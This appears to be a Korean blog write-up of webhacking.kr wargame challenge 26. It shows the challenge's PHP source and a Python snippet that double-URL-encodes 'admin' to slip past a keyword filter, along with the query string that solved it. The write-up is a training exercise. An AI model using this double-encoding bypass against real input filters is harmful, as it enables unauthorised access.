webhacking.kr 26번문제

Xero
박준혁 (한양대학교 신소재공학부 2학년 군휴학 중)
2016-03-31
Email : wnsgurzxc@naver.com
Facebook : https://www.facebook.com/wnsgurzxc

다음과 같이 index.phps를 가르킨다.

index.phps

들어가보면 다음과 같이 소스가 나온다.

```
<html>
<head>
    <title>Challenge 26</title>
    <style type="text/css">
        body {
            background: black;
            color: white;
            font-size: 10pt;
        }

        a {
            color: lightgreen;
        }
    </style>
</head>
<body>
    <?
if(eregi("admin",$_GET[id])) { echo("<p>no!"); exit(); }    #id 에 admin 이 있다면 종료
$_GET[id]=urldecode($_GET[id]);      #id 를 urldecode 함
if($_GET[id]=="admin")      #id 가 admin 이라면
{
@solve(26,100);    #클리어
}
?>
        <br><br>
        <a href=index.phps>index.phps</a>
</body>
</html>
```

요약하면 처음에 id에 admin이 있다면 종료를시키고, 그 후에 urldecode를 한 후 id가 admin이라면 클리어이다.

소스로만 보자면 urlencode를 한번 해서 넣으면 되겠지만 처음 들어갈 때 자동으로 한번 하므로 총 두번 시키면 될 것이다.

파이썬으로 다음과 같이 코딩하였다.

```
>>> import urllib.parse
>>> sAnswer=''
>>> for i in 'admin':
        sAnswer+=hex(ord(i)).replace('0x','%')

>>> sAnswer
'%61%64%6d%69%6e'
>>> urllib.parse.quote(sAnswer)
'%2561%2564%256d%2569%256e'
```

코딩해서 나온 값을 다음과 같이 id로 넘겨주었다.

?id=%2561%2564%256d%2569%256e

그러자 클리어되었다.